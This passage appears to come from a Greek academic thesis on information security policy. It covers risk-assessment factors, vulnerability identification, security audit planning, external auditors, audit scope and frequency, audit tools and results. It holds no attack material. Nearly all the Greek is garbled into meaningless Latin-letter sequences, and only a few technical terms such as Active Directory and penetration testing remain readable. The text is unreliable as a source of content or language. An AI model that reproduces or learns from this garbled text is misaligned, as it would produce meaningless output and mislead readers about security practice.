OVTILETOTICEWS TOV KIVOOVOV PACT TOV TMUEPOUNVIOV VAOTOMGEMG TOL
€xovv cupemvnoel

e O YmevBuvog Acpdreiag TTAnpopopidyv o cuvepyasio pe tovg Idoknreg
Kwobvev, 6mov avtd omorteiton, mopoakoriovbei v katdotaon kot tnv
AMOTELECUATIKOTNTO TV  OKAEd®V aoc@oieioc/evepyeidv mov  €youv
vAomowmOet

e O YmnevOBvvog Acpdietag ITAnpopopidv evnuepdVEL TO OTOTEAEGLOTA KO
avagépel TV mPpO0do ot Pacikd vOlPePOUEVO UEPT Kot OTOL GAAOD

ypedleTar, av omonteiton TEPOUTEP® KAUAKWOON.

2.4 Awwopaion orwotnTog

Ta mopoakdatem kprrnpo Exovv tebel TPOoKeEWEVOL Vo SloPoAicovY GTL 1| TOLOTNTO, TNG
depyaciog  A&odoynong Kwdvveov Acoediewng ITTAnpogopidv  dwrnpeiton  oe
IKOVOTTOMTIKO €Tinedo. Avtd Ba e£acparioet OTL 1 AVAALOT TPOYLLOTOTOLEITOL [LE EYKLPOL

Ko akp1Pn dedopéva, meplopiloviag TuyOV LEALOVTIKA YEYOVOTOL.
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o ATOTELEGNOTIKT OLOYEiIPLON TOV £PpYov — Oa TPEMEL VO EQAPLOGTOVV OPYES
Kotd TN Owdpkela g Oepyaciag A&ordoynong Kwovvov Acedieiog
[TAnpopopiddyv, mote va yivel opBn JSwyeipion TV KWOOHVOV Kol Vo
e€aoPAMOTOOV TO. OYETIKG OQEAT. Avtd TEPAAUPAVEL TEKUNPIOUEVO
OYEOWIGHO TOV €pYyov, GuveYn TopakoAovONoM TV onuelwv avapopdic,
£YKOPO EVIOMIGUO KOt EMIALGT TV BEUATOV, AP OTOLTOVUEVOV EYKPIGE®V,
KOODS Kot TOKTIKN EMKOWVOVIO TOV EVOLLPEPOUEVDV LEPDV.

e Aéopevon Ttov Ymootnpwkty ‘Epyov km tov Emke@aiig Opddag
A&roroyoemg — O Yrnoompiktig Epyov Oa mpémetl va €xel tnv amartovpevn
€E0V01000TNON EVIOC TOL OPYOVIGHOV, MOTE VO EXNPEAGEL TI| GUUUETOYN OTO
€pYo Kot YeVikd vo, eKmpocmmel T 0écpevor ¢ Atoiknong ot depyacio
A&roynong Kwdovev Acoedrewong ITAnpopopidv. IMa v emtvyio g
depyasiog A&oddynong Kwwdoveav Acedielag [Tinpogopidv sivor emiong
ONUOVTIKOS 0 pOAOG TOVL emKEPAANG TG Opddag AEoAdynong o omoiog Ko
elvat vrevBLVVOC Y10 TOV GVVTOVIGUO TOV PACIKOV PACE®V, TN dtElpLon TV
EUTAEKOUEVOV LEPADV, TNV TOPOYN ETOTTEINS, TNV TEXVIKN VTOGTNPIEN Kot T
dlcPaAon TG TOLdTNTOG,

o Aéopevon tov Evoweepopévov Mepav - Ilpoooopiopdg OAwv tov
GYETIKMOV EVOLUPEPOUEVOV LEPDV Kol EEACPAMOT PACTKAOV OEOOUEVOV, OTTMOC
N wWwoktoia kot ot 0&leg TV TOPMV, Ol OMEILES, 01 EVTTADELIES KOl SLUCPAALOT
0Tl 01 A510A0YNOELS TOV KIVOHVOL EKTEAOVVTOL EMAPKADS KATA TN SLAPKELD TNG
depyasiog A&ordynong Kwvovvev Acedieiog ITAnpogpopudv.

o  Kown yhdooa/kowvd kprripra a&loroyneemg - O cagng opioprog tov Opwv
mov oyetilovron pe tov kivouvo kot to Kphplo aSloA0yNoemS Tov KvoHvou
napéyeTon and ™ Movdoa Acpareiag ITAnpogpopidv, eival cOLP®VOC e
Movdda Aegttovpyikod Kiwvdovov kot givol Tekunplopévos oTig GYETIKEG
TOMTIKEG. Avtd Bo mpémel vo. kowomoleitol 6€ OAO TO TPOCHOTIKO OV
oovupetéyel ot pebodoroyio  A&oAdynong Kwdoveov  Acedieiog
[TAnpogopidv, ®oTE Vo EEACPAAGTEL OO KOVOL 1| KOTAVONGT TOV Op®V Kol
Tov  Kpunmpiov mov oyetiCovior pe TOvV  KivOUVO, TPOKEWEVOL Vo

YPNOLOTOLOVVTOL LLE GLVETT] TPOTO.
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e Toaktikn emokomnon TOV 0oroyNoe®V - ToKTIKN EMOKOTNON TOV
Afohoynoewv  Kwdoveov  Acedreiag  I[IAnpopopidv  mpémer  va
npaypatonoleitor amd v Movdéda Acedieag ITAnpoeopidv yio vo
eEacpalotel 6Tt o1 aE10A0YNOELS dlaTPOoVY 6TafePd TO eMimedo mTOOTNTAG.

¢ Exnaidcvon npocomkod — O YrevOvvog Acepdretog [TAnpopopidv Kabng
kot to Paocwd péAn e Emyeipnowokng Oupddog, omwg ot Idtoktrteg
[TAnpogopidrv, Ba Tpénet va Aapufdvouv ootk EKTOIOEVLON Y10 TO MG TPEMEL
va ekteheitoan pio Aorddynon Kwdovev Acoediewng TTAnpoeopidv. O
Yrevbvvog Acpddrelag ITAnpoeopidv, ta Pacikd péAn g Emyeipnoiokng
Opddog kou 10 mpocwmkd tov Asgitovpywod Kivdvvov mpéner va
EKTTAOEVTOVY MOTE va givor oe Béom va avayvopicovv tovg Pactkodg
KIVOUVOUG 0CQAAELNS TTANPOPOPIOV OV Ba puopovoay vo EUTodicovy Tovg
EMYEPNCLOKOVG GTOYOVS KOl VO OVayVOPIGOLV TIG SIKAEIDEG aoPuAEiag TOV
elvat o€ 160 Y10 TOV TEPLOPIGUO VTMV TOV KIVOHV®V.

e BonOntiké Epyaieio ASroroynong Kivovvev Acparerog IIinpogoprov -
To epyodeio mepiéyet évav apBpd Kataddymv ot onoiol Oa mpénetl meplodd
VO EVIUEPADOVOVTOL BGTE VO AvTIKATOTTPILOVV TIG €EEMOGOUEVES AMEINEG KO
evmdbetec. Opoimg, emedn to epyaieio ypnoomoteiton amd TOAAEG OUAOES
a&loAdynong, ol OToleg TPoTdoelg Yia PeAtioon tov epyaieiov Oa mpémel va
Kowomotovvtar 6tov Yrevbuvo Acodiewong [TAnpopopidv. Ot aAlayég mov
dvvarai va Exovv aia, ev cuveyeia Ba eveouatmBoy og HEALOVTIKES EKOOCELS
TOV gpyaAEiov.

o Ilowtnta Tekpnpuooceng - Oo mpénel va e€aceaiiletor vYNAN ToWdTNTA
tekunpioong, ®ote va dlevkoAbvovtar ot aveEaptnteg aSloAOYNGES 1| Vo

Stc@arilovion perdoviikol EAeyyot.
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KE®AAAIO 3 - ITIOAITIKH ENTOHNIEMOY AAYNAMIQN KAI
AIEEATQI'HY EAET'XQN AXDAAETAX

Ye autd 10 KePdAoo Ba yiver mpoomdbeln avAmTLENG WOG TOMTIKIG EVIOTIGUOV
adLVOLLOV Kot SteEaymyns eEAEyywv aceaieiog. H moltuc avt) Oa €xel cav 610)0 va
dapel £va eTopkES emmedo AGQUAEING EVOG OPYOVIGHOD.

KdéBe opyaviopdc Ba mpénet va B€tel g 6TOY0 ™ ONovpyio Piog TOMTIKNG He TNV omoia
B etvon og Bom va dmpet Eva emapkég eminedo aceareiog. H epappoyn g moAtikn
avtg Ba €xel cav okomd va mopéyel T Ponbein eAEyyov NG OCPAAEINS TV
TANPOPOPLOKAOY TOPWV, evd emiong Oo Pondd kot oty oamotiunon Tov EmMIESOV
aceaieiog toug. H epappoym g moatikng Oa mpémnet va el 1ox0 o€ dtoumTikd kafdg
KOl G€ TEYVIKO EMIMEDO.

Mo ™ omuovpyion ¢ moAtikng Ba mpémet va AapPdvovion vtoyn ot Pacikés apyés
EVIOTIOIOD aSVVOULOV KOODS Kot TG S1001KaGT0G SIEVEPYELNG TV EAEYXMV, 1] GUYXVOTITA
pe v omoia B deEdryovTon ot EAeyyoL ac@aAeing, To €DPOG TO 0moio Ba £xovv, Ta epyaiein
7oL Ba ypnoipomotovvToL Kot TEA0G To TG Ba yiveton 1 Topovsioot kot dwyelpion tov

AMOTELEGUATOV TV EKACTOTE EAEYYWV ACPUAEINS.

3.1 Baowég apyés

O YrebBuvog Acopddeag [TAnpopopudv, og cuvepyacia e tov YrevBouvo [TAnpopopikng
kor Tov Ymevbuvo Ecotepikod EAéyyov tov opyoavicpov, Ba €xet v evBovn g
onpovpyiag kKo tpnong evog [dvov EAéyywv Aceareiog. To mAdvo avtd Oa mpémet va
e éyyetan Ko avafempeiton og etoa Pdon.

To ITAGvo tov EXéyyov Acpodeiog petd ) dnpovpyio tov Bo mtapovsidletol omd Tov
YnevBvvo Acpodeiog [TAnpopopidv, Tpog £yKpion ard TV S10iknon Tov OpYuVIGHOD.
Ta pdTuTaL Bdoel TV omoiwy Ba dtevepyohvTorl o1 101K TIKOT Kot TEYVOAOYIKOL EAeyyoL
aceaieiog, Bo tpovvtal ko Oa evmuepwvovtar vd TV €vBvvn ToV YTELBUVOL
Aocoporeiog [TAnpogopidv. H dnpiovpyio cvtdv mpotimmy Bo mpémet va meptiapBavel kot
eAdyioto ta eENg:

o Tlpétumo Xyediov EAéyyov: To mpdtumo yia 10 Zyédo EAEyyov Ba kabopilet tig

pebodoug e tig omoleg deayovran ot Edeyyot. Ot pébodot awtol Ba mpémet va
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mpoPAémovv TG otpatykés mov Bo akoAovBolvtar, TN pebBodoroyia, TO
YPOVOIAY PO SLEEAYWYNG TOVG KOl TEAOG TNV LITOPOAN TOV EKAGTOTE EKOEGEWV.

o [Ipoétvmo Amotelecpdtov EAéyyov ko Evwmuépwong Awiknong: To mpdtumo

Amoteleopatov EAEyyov Ba kabopiler Tic pebddovg yoo mv tekunpioon tov
OMOTEAEGUATOV TOV EAEYYOL, TOV TPOTACEWV TOL O KOTAYPAPOVTOL Yol T
Beltioon g ao@oAsiog TOV ocvoTUATOV TTOL eAEYYONKaY, evd TEAOG Oa

ePAOUPAVEL Kot ToL GYOAL0 TTOL B0l KOToypAPOVTOL OO TV EAEYXOUEV LOVADQL.

o IIpétumo Tvvowng Ipotdoewv: To mpdTumo XHvoyng [Ipotdcewy Ba kabopilet

IS LeBOOOLE YL TNV ATOdOYT] TOV TPOTAGEMY TOL EKAGTOTE EAEYYOL OGPOAELNG
a6 tov YmevBuvo AweEaywyng EAéyyov Acoodeiog, kabmhg emiong kot twv
gvepyelnv mov Ba mpayuatonomBovv yo my entivon twv tpofAnudtov mov Oao
gvtomaOovv.
["a 11c avaBéoelg mov yivovton oe eEmTEPKODS cuvepydtes Yoo v vVAomoinot EAEyywv
Acpalelag KpIveTol OKOTHO VO VITAPYEL GYETIKN ToAMTIK] 1 omoia B kaBopilel Tig
HeBOS0LE EMAOYNG KOl SOYEIPIONG GUVEPYAGIOV e EEMTEPIKOVS GUVEPYATEC.
H enoyn eEmtepikod cuvepydtn Yo ) dtevépyela vog eAEYXoL acpodeiog Oa mpémet va
aKoAOLOEL KOT’ EAAYIGTO TOVG TOPUKAT® POCIKOVG KOVOVES:

e H emoyn tov emtepticod cLVEPYATT Y10 T OLEVEPYELD EVOG EAEYYOV AGPUAELNG
Bo. mpémer va yiveton péocw piog AMGTOC GUVEPYOTMV Ol OTOlol £YOVV €K TV
potépwV aSloloyn el yio Ty kataAANAOAN T TOVG 00 ToV Y Tevfuvo Acpaieiog
[TAnpogoprdryv oe cuvepyaosia pe tov YrevBvvo [TAnpogpopuc. H Alota avtr) Oa
TPEMEL VoL Efval TEPLOPIGUEVT LLE GKOTIO TV OG0 TO duvatd peyolhtepn Leiwon Tov
Kvduvou dlapporg vaictntov minpogopudv. H agloddynon tov emtepikmv
GLVEPYATOV fvan GKOTTO VoL dlevepyeitar oe eTioto don.

e H avdBeon evig eréyyov acpodeiog dev Ba mpémet va yiveton oTov 1010 eEmTEPIKd
GLVEPYATN O 0MOi0g LAOTOINGE TO TANPOPOPLOKO GVGTNUA 1] TNV VOO TTOV
npoKerton vo eAeyyOet.

e H avdBeon evog eléyyov acpareiog dev Ba mpénel va yiveton otov 1010 e£mtepikd
GLVEPYATT Y10 SEVTEPT GUVEXOLEVT] POPAL.

Ohot o1 éheyyor acpodreiog Ba mpémel va Kataypdpovtor oe €va apyeio o omoio Oa

mepapPdvel To. oToyElol TOV EAEYY®V, TO OMTOTEAEGUOTO. 7OV KOTOYPAPNKOV, Ol
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SopboTiKég evépyeleg OV TPOTABNKAY, KOODS KOl Ol OVTIGTOYEG EVEPYELES TTOV TEAKAL
gywvav o TNV €TALOT TOV EVPNUATOV TOV EAEYY®V. YTTEHBUVOG THpNoNG TOL apyEiov

gtvon 0 YrevBuvog Acpaieiog [TAnpopopiv.

3.2 AweEayoyn eréyyov acoalreiog

Etvotl onpovtikd 1o €0pog Tmv EAEYY®V Ol 00101 TTPALYLLOTOTOOVVTAL, VO, EE0cPaAilovV
é€vav 660 TO OLVATO OOTEAEGUATIKOTEPO KOl IO OAOKANPOUEVO EAEYYO TNG OCPOAELOG
TOL 0pYOVIGHOV. [ 100 T0 6KOTO 0VTd Bt TPEMeL va LAOTO100VTOL TEYVIKOT EAEYYOL ACPUAEIOG
TOV TANPOPOPLOK®Y GUGTNUATOV Kot VITOSOU®MV, OMG eivat ot BAcels dedopévmv, ot
EPOAPLOYEG, TOL SIKTLA KATL. KoL TEYVIKOL EAEYYOL TV VITOSOUMY OCPUAEINS TOV S1adIKTHOV,
TOL EGOTEPTIKOV HIKTHOV TOV OPYAVIGLOD KoL THG TPOGTOGLOG 0td KakOBOLAO AOYIGLIKO.
Ot éheyyot awtol Ba eEacOAILOVV TNV OTOTEAEGHATIKOTITO TOV UNYOVIGHOV 0GPOAELNS,
NG CLUUOPPMGCT LE TO TAOIGLO OCPAAELNG TOV OPYAVIGHOD, KOOMG Kot TNV ourokdALY
TUYXOV ASVVOULOV OoPUAEiNG, MOTE va devepynBoby ot KatdAAnAeg evépyeteg dtopBmong
toug. Q¢ Advvapio Aceaieiog (Security Vulnerability) opiCetor n amovoia 1 actoyio
pnyaviopod aceoAeiog, M omoion Bo €0ete cav kivovvo v emifeon oe kdmolo
TANPOPOPLOKO COGTNLAL.

Eniong Ba mpémer vo devepyovvron kon €ieyyotr ot omoiot o e&acpaiilovv TNV
GUUUOPP®ON UE TOVG OSLOIKNTIKOVG HNYOVIGHOVS OCQPOAEING TTOL £YEL VAOTOU|GEL O
OPYOVIGHOG, LLE OKOTO TNV OTOTIUNON TNG OO TIKOTNTOG TMV SLUSIKOGUDY KoL TTPOTHTMV
AGQUAELOG, TOV EAEYYO TNPNONG TOV TAALGIOV ac@aieiog, kabng kot v emPefoicnon ot
T0 mAiclo ac@aAciog To omoio €yet vAomomOel, KOAVTTEL TLYOV SOIKOCTIKES,
OPYOVOTIKEG KO SLOOIKOOTIKEG OAALYEG TTOL £XOLV 1] EVOEXETOL VOL VITAPYOVV GE GYEOT| LE
TOV TPOTYOULEVO EAEYYO TOV.

Etvot katovontd 6tt ot onpavtikdtepot EAeyyot ot omoiot SeEdyovion 6 Evav opyaviIouo,
aPOPOVV TOV EAEYYO TMV VITOOOUADV OLOIGHVOESTG TOL OPYUVIGLOV LE TO S10STKTLO.

Mia onuavtikn mopapetpog 1 onoia Oa wpémet vo vmohoyileton kKatd Tov oYedoHO TV
eréyyov aceaieiog, etvar va dte&dyovtar oto peyaivtepo duvatd Babpod, adid Ba mpémet
Vo, unv emnpedlovy T AeovpyikdTo Tov opyovicpov. Edv mapodia avtd mpdketton vo

oe€oyBel Khmolog EAeyY0g 0 Omoiog EVOEYETOL VO EMNPEAGEL TN AETOVPYIKOTNTO TNG
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VIOOOUNG M OTola TPOKELTOL VoL EETAGTEL, TOTE Bl TPEmer va €xel Tponyn el n evnuépmwon
TOV ETYEPNCOKDV VIEVHOVOV TNG EPOPUOYNS, KAONDG KoL TV TEYVIKOY VIEVHIVOV.

' tov oyedlacd TV eAEyymV Bo mpénet va, vtoAoyilovtot Ta Kablepmpuéva TpdTumTaL Kot
va epAapPdvovtor 660 T0 SuVOTO TEPIGCOTEPO 1 KAT EAGYIOTO TO, CTLLAVTIIKOTEPO OO
T Yvootd oevapia emBécemv. Tavtdypova Bo Tpénet va eElEyyovTon kot vor aELloAoyouvTaL
ot dladkacieg Aettovpyiog Kot dayelpiong Tov cuoTuatog Tov eAEyyetat. O de okomdg
TOL EAEYYOL Oa TPETEL VAL £XEL KTy pOpEl Kot GLUPMVNOEL e ToV emtyelpnolokd vtevbuvo
™G e€eTalONEVNG EPOPLOYNG T VTOSOUNG.

Yrebbuvog v v debaywyn TV eAEyy®v, €ktog and Tov Ymevbuvo Ac@dAciog
[TAnpogopiarv, Ba pmopel va givon avtictorya o YrevBvvog ITAnpopopikng 1 o YrebBvvog
Ecwtepucov EAéyyov tov opyaviopod. O vriedBuvog yio v dteEoymyn erEyxov ac@oreiog
Ba. cuppetéxel otov oxedacud v eAEyywv, Bo ppovtilel yo ™ SwbecpdTa TV
AVOYKOI®V TTANPOPOPLOKDY TOP®V, KOOMG Ko Y10 TOL 0topoiTnTol SIKoudUaTo TpOcBoong
GTOVG EAEYKTEG OV B d1eEdryouv To EAEYYO AGPOAEINS.

Inuovtikol Topdyovteg ot omoiot mpémel v vmoioyilovton, €ivon KOVOTNTO TOV
TPOSOTKOL oV Bl S1e&dyel TOV EAEYYO, M AVTIKEWEVIKOTNTO TOV, KAOMOG Kot 1 THPNOT
TV TPOTOLTTWV KoL SIOTKAGLOV TOL OPYOVIGHOD.

H owevépyeia teyvikov eléyyov aceodeiog oev Bo mpémel oe kopio mepintmon vo
oegayetar omod PN EYKEKPYEVO TPOCOTIKO €KTOC €6V apopodv €AEyyYOovg Ol omoiot
vAOTOOVVTOL amd TOLG TEXVIKOUS VIeELBHVOLG Kot OYEPIOTES, OTAL TAOAGIL TV
KaOnuepwvav tovg epyacuov. H €ykpion yo v ektéleon &vog TeVIKOD €AEyYOL
aceaieiog Bo mpémer vo diveton amd Tov VIEHOVYVO TANPOPOPIKTG KOl TOV LITELOVVO
OGQUAEIOG TANPOPOPIDYV, LLE GKOTO TV OTOPUYN TVYOV U1 ETBVUNTAOV ETUTTOCEDY GTNV
TOPUYOYIKY AELTOVPYIC TOL OPYAVIGHOD.

O1 gleyKtéc Katd v didpreto Tov eEAEyyov aopaieiog O Tpénet va £xovv oty didbeon
TOUG UOVO T OEOOUEVE KOl TIG TANPOPOPIEG TTOL OTOUTOVVTOL VIOl TN OLEVEPYELL TV
eEMyywv, KaBmg Kot To avtioTotyo dukodpata TpdsPacns. Metd v ohokAnpmon Tmv
eEAEYY®V, OAL TOL SIKOUMUATO TPOCPACENMS OV £X0VV ONoLPYNOEL Yo TIC AvVAYKES TMV
eréyyov, Oa mpémel va. amevepyomolohvTor Kot va. Storypapovtot.

Ocov agpopd tov e£mTEPKOVS GuVEPYATEG Ol omoiol Ba dlevepynoovy Tovg EAEYYOLG

ac@areiog, Ou mpénet va dacpaiileton Ot

TMHMA BIOMHXANIKHY ZXEAIAXHY KAI TIAPATQI'HE

II.PAAAH & @HBQON 250, 122 44, AI'AAEQ, AGHNA, EAAAAA
THA.: +30-210-5381311, MSCAUTOL1@TEIPIR.GR
77



e A00£100V TO KOTOAANAOL ETOYYEALLOTIKE TTPOGOVTOL, KOOMG KO TV TKOVOTNTO KOl
gumelpio Tov amonteiton yio v opor| SIEKTEPAIMOT) TOL EAEYXOL ACPUAELDG.

e AwBéT0UV EMOPKY TEYVOYVOGIOL TOL TANPOPOPLOKOD GLGTAUNTOS ToL O
eCetaotel

e Aev Bo emmpedlovton amd TPoc®mMTIKOVE 1 EEMTEPIKOVE TOPAYOVTEC.

e No unv &ouvv kopio opyovotikn €£gptnon He TNV Hovado mTov TPOKETOL Vol
ereyyDel Ko vau d10tPovV OVTIKEEVIKT] GUUTEPIPOPAL.

e Na &ovv apepoinyio 66OV aPOpAE To. CUUTEPACLOTO KOl TIS AmOWYES mov Oa
SATLTTOGOVY PAGEL AVTIKEILEVIKOV KPLTNpimV

e No emdeucviovy enayyeALoTIGUO Kot TOV EVOESELYLEVO {AO Y101 TNV TPOETOLAGTD,
Kot ™ Oeaywyn tav eAEyyv, Kabdg Kol TV ETOWACIo TOV eKOEcE®V TV
OTOTEAECUATAOV TOV EAEYY OV

e No cvppope®vovtol He To, TPOTLTO TOL EPOPUOLEL O OPYOVIGUOG Kol VO

TpoTEiVOLV IO eEE1dIKEVIEVEC LEBOSOLOYIES EAV VITAPYOLV.

3.3 Xvyvotnta ko Evpog EAEyyov Acpaieiog

Eivan onuovtikd, pe okomd v aSloA0yNcn TG CGLUUOPPMOONG Kol TNG
OTTOTEAECUATIKOTNTOS TOV  TE(VOAOYIKAOV UNYOVIGU®V oo@oieioc, KobBmg Kol Twv
OVTIOTOL(®V OIOIKNTIKMOV HNYOVICU®DV, VO TPOYUOTOTOOVVTOL TEPLOOIKOL aveSApTNTOL
éheyyol aceodeiog oe oVTODG TOLG UNYOVIGHOVS, ot TEPPOAOV mapaywyms. G
Ave&apmror ‘Eleyyor Acpodeiog (Indipended Security Audit), opilovtar ot éleyyot
OGQUAEIOG TTOL OLEVEPYOLVTOL OO KATTOLOV UNYOVIGHO, E0AOTEPIKO 1) eE®TEPIKD, O OTTO10G
Ogv €xel Kapio oyEomn UE TO EAEYYOUEVO CUGTNLAL.

['a Tov oedaopd TOV GUYKEKPILEVOV eEAEYY@V acpaleiog, Oa mpémetl vo vrodoyilovtat
TUXOV TPOMOMOMGELS TNG TANPOPOPLOKNG VIOOOUNG, TNG OPYOVOTIKNG VTOOOUNG,
teyvohoyikég efeMEelg, evpnuato  mponyoduevev  EAEyywv, KoBmg Kol TUYOV
TPOTOTOWGEIS TMV OTTOOEKTAV EXUTEOMV KIVOUVOL Y10 TNV EAEYYOLEVT] VITOOOUN).

H dwpaduion tov ekdotote mANPOPOPOKOD GLCTHLOTOS 1) VIOOOUNG, KOBMS Kot
emucvovvomta Tov, Kabopilovv v meplodikdmTo e v omoia Ba devepyohvton ot
aveEdpmrol éheyyol. Etvon copég 011 600 mo vymAn eivor n emkivduvotnto, Ko m

Sfador| evog GLOTHLOTOG 1] LITOGOUNG, TOGO TTO10 TAKTIKOT Ko dte&odtkol Ba Tpémet va
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gtvon ko o1 EAeyyot Tov deEdryovtat. AVTIOETA Y10, GUGTHLOTA LE LIKPOTEPO KIVOLVO deV
gtvon avaykaio vo degdyovion EAeyyol aoQOAEING GE TAKTIKG YPOVIKO SIOGTHHOTO Kot
Umopel va, TpoypoaTiCETOL O ETOVEAEYXOC TOVE GE APALOTEPO YPOVIKO OLOGTILOTOL.

Mia moltiky), pio dradkacio 1 va TpoTLmo (To, 0Toio ATOTEAOVV PaGIKE GLGTATIKE TOV
[Monsiov Aceaieiog ITANPo@opPIdY TOV OPYAVIGLOD) T 0Tl £YOVV EPUPLOCTEL OE Evay
opYOVIGHO, Bal Tpémet va. a&loA0yoUvVTaL TEPLOOIKA, LE TN GLYVOTNTO KOl TO EDPOS TMV
afloroynoemv va givar ovdAoyo Tov Babpod opudT TS TOVS Kol EPOPIOYNS TOVS GTOV
opyaviopd. Omdte €vag vEog UnYaviopog dev mpémet vo agoroyeiton duecao pe v
EPOPLLOYT TOV GTOV OPYAVIGUO.

H a&ohoynon tov [Mhouciov Acpaieiog ITAnpogopiav, Ba wpénel va mepthapPdvel to
TOPOKATO:

e Eninedo €@appoyng Kot EMGPKENS TOV TOMTIKAOV, SUSIKACIOV Kol TPOTHTMV
AGPAAELNG TATPOPOPLDYV, OO TO. GTEAEYT TOL OPYOVIGLOV, KOODG Kot amrd Tovg
e€mtepkoic cuvepydteg

e Eninedo endpkelog kor dokiun tov [TAGvov emyelpnolakng cuvéyelog, kabag Ko
TOL AVTIGTOLYOV XYediov AVAKOLWYTG TMV CUOTIUATOV 0TO KOTOGTPOPT|

Oo mpénel va katapTileTor TAAVO TEPLOOIKMOV TEYVIKMV EAEYY®V OCQOAEIOG Yol TOL
OAOKANPOUEVO TTANPOPOPLOKA GLGTAUOTO. TOV OPYOVICHOV, €v®d Oo pmopodv va
Se&hryovton kot €ktaktol Edeyyol dv kpBetl anapaitnto, Pacel g KpGWOTNTOG TOV
GLGTNUAT®V oVTAOV. Ot TEYVIKOL EAeYYOL 0oPaAeiog Ba mpémet va Tephapfévouy EAEYXOVS
TOVAGYIOTOV OTIG OIKTLOKES VITOJOUES, TOL AEITOVPYIKA GUGTILLOTO KO TO. DVTTOGLGTILLOTOL
acQoAEiog Tov TEpAauBdvouy Ommg Yo mapaderypo to Active Directory, tig epappoyég
ovotnudrtov (System/server applications), Tig epappoyés kon Tig Pacelg dedopéva.
Emmiéov ot teyvikol Eleyyol 0o@aAElng Yo T0L TANPOPOPLOKE GUGTILOTO KoL VITOOOLES
etvon oKOTO VoL O1EVEPYOLVTOL Y10 OAO TO PAGHLOL TV VITOSOUMV, OTTMG elivar TaL:

e Kevipwd Zvotuorta

e Aixtva tov opyoviopod (LAN & WAN)

e Ymodoun niektpovikng aAinioypapiog (m.x. Microsoft Exchange)

e Ymodoun Active Directory

®  YToooU£G Oloeipione cuoTnUATOV Kot SIKTH®V

o Yvomuata vnpectdv [elatmdv dmmg ot epapproyé dtadkTvov, extranet KA.
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e Yvomuata mov vrootnpilovv Yanpeoieg Tpitwv, edv vrdpyovv

o [lepipeperokd Zvotuoro, EGv vTapYoOLV

o Kpiocwa Yroompiktikd Xvotipota

e IIpocwmuoi H'Y

o  Tnlepovikd Kévipa

e YVOTNLOTO EVOALOKTIKOD KEVIPOL AEITOVPYIOG
O Yrebbuvog Acpodeiog [TAnpopopidv o€ cuvepyasia pe tov Yrevbuvo ITAnpoeopikig,
opeilovv va eEetalovy cuyvd ™ Mot TV TANPOPOPLIK®Y GLGTNUATMV KOl VITOSOU®DV,
KoBMG Kot TO TAGVO TV TEPIOSKMV EAEYYWV, LLE GKOTIO VOl SlGPaAilovy TV ETGpKeLol Kot
TANPOTNTA TOVC.
Ot teyvikot Edeyyot acpoleiog £xovv cav oTdo Vo a&loA0YoUV TIG TEXVOLOYIES AoPOAELNG
OV YPNOWOTOOVVTOL KOl VoL EAEYYOLV OTL TOPEXETOL TO LYNAOTEPO Odvvatd emMinedo
acporeiog Pacel TV apakPoTIKOV ToLs. H cuyvotta kabmg kot 10 €0pog Tmv
EAEYXOV AVTOV TPETEL VOL SLOUOPPAOVETOL BACEL TOV EKAGTOTE OTTALTCEDV.
Orteyvikot Edeyyot acpaieiog Oa mpémetl va SleEdyovTol ETioNg OE TEPITTOGEIS EUPAVIOT
VEQV OTEIMDV, EVEOUATOONG VEDV TEYVOAOYIDV 1] CLOVTIKOV OAANYDV GTNV LITOSOUN
TOL OPYAVIGLOV KO VoL TEPAAUPEVOVY TOLAGYIGTOV T TOPOKATO:

e 'Eleyyoc tov pvluicewv tov [Tviov Aceaieiog Ecotepikav kon EEotepikmv

Awrtoov (Firewalls, Routers kr.)
e Aoxwéc EiwoPorrc (Penetration Testing) amd EEmtepikd Aiktva (Awdiktvo,
Extranet)

e 'Eleyyoc omv Kpuvrtoypdaenon twv dedopévav

e 'Eleyyoc g acodiewog g EE Amootdoewc [1pocPaong

e 'Eleyyoc tov puBuicemv g Ymoodourg [postaciog amd Kakopovio Aoyiouiko

o 'Eleyyoc tov unyovicpumv aceoleiog oe aoOppata diktoa

o 'Eleyyoc g vmodoung dtoyeipiong me acpiietog
Ortav oAoKANPOVETOL 1] AVATTLET EVOG VEOL TTANPOPOPLOKOD GUGTLLOTOG 1) 1] TPOTOTTOINoN
Tov, Ba Tpémel va devepyeitan aveEAPTNTOG EAEYXOC OCPUAELNG GE TEYVIKO Kol SIOIKNTIKO
eminedo, Tpv TNV EVIoEN TOV GTO TOPAYMYIKO TEPPAAAOV.
Avtiototya etvon avaykaio va dtevepyeiton aveEaptmrog EAeYY0G AcQOAELNG Kot LETO TV

OVTILETMTION EVOG TEPIOTATIKOD OGPUAELOG,
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3.4 Xp1on gpyareimv TELVIKOV EAEYYOV aoQPUAEing

To €101K0 AOYIGLUIKS KOl 01 GUGKEVES TTOV YPTGULOTTOLOVVTOL Y10l T SIEVEPYELL TMV TEYVIKMDV
eMéyyov mpémel va etvon mpooPdoyia amd mEPOPIcHEVO aplipd €EO0VGLOOOTNUEV®V
oteAeyV, ot omoiot kabopilovtar amd Tov Yrevbuvo [TAnpopopikig tov opyavicpol e
™ ovpeovn yvoun tov  Yrevfbovov Acoaieiog ITAnpogopidv. Otav  dev
ypnoonoovvton O, B TpENEL va QLAAGGOVTOL G TEPIPAAAOV TO 0TTOT0 gV EXEL GYEOT
e TO TPy Y1k mePPEAALOV TOL OpYOVIGLOV 1) TO TTEPPOALov avdmTuéng. H katoyn xou
¥PNOM TOLG, TEAOG, dev Ba mpémet va elvon emtpent amd pn E0VGIO00TNEVO, ATOLLOL.

Ta epyodeia mov Ba ypnopomolovvion oe Evav TexVikd Eleyyo, Ba mpénet va puOuilovron
TOAD TTPOCEKTIKA (DGTE VoL UMV TOPAUEVOVY EVEPYES AELTOLPYIES O1 OTTOTEG OEV OTONTOVVTOL
v T Ste€oymyn tov eAEYyov.

Katd ™ ddprelo evog teyvikod eAéyyov, Oa Tpénet va Kataypaeovtol amd TouG YPNOTES
TV gpyoreinv mov Oa ypnoponomBovv, OAEG oL TpayLOTOmoEicES EVEPYELES, e OKOTO

TNV QVOTOPOy@y™] Ko EAEYYXO TOLG €AV oot Oel.

3.5 Amtoteréopata EAEYYOV AGQUAELNG

Otav olokdnpdveton Evog EAeYY0S AGQUAEING, KATOYPAPOVTOL TO. OTTOTEAEGUOTO TWV
eMyyov. Q¢ amoteAéopoto eAEyywv ac@oieiog opilovior ot TANpoeopieg mov
Kataypdoovron and tov exdotote Eheyyo. H popen tmv mAnpopopidv ovtdv pumopel vo
gtvon o€ Eyypaga, apyeio, TNyoio KO KAT.

Ta anotedéoporo Tov eA&yywv aceaiciog Ba mpénel va mapéyovy 660 T0 SLVATO TTO0
eMOPKeEC TANpopopieg, ®ote vo eivor epiktd va eleyyBel M eykvpdTMTO TOV
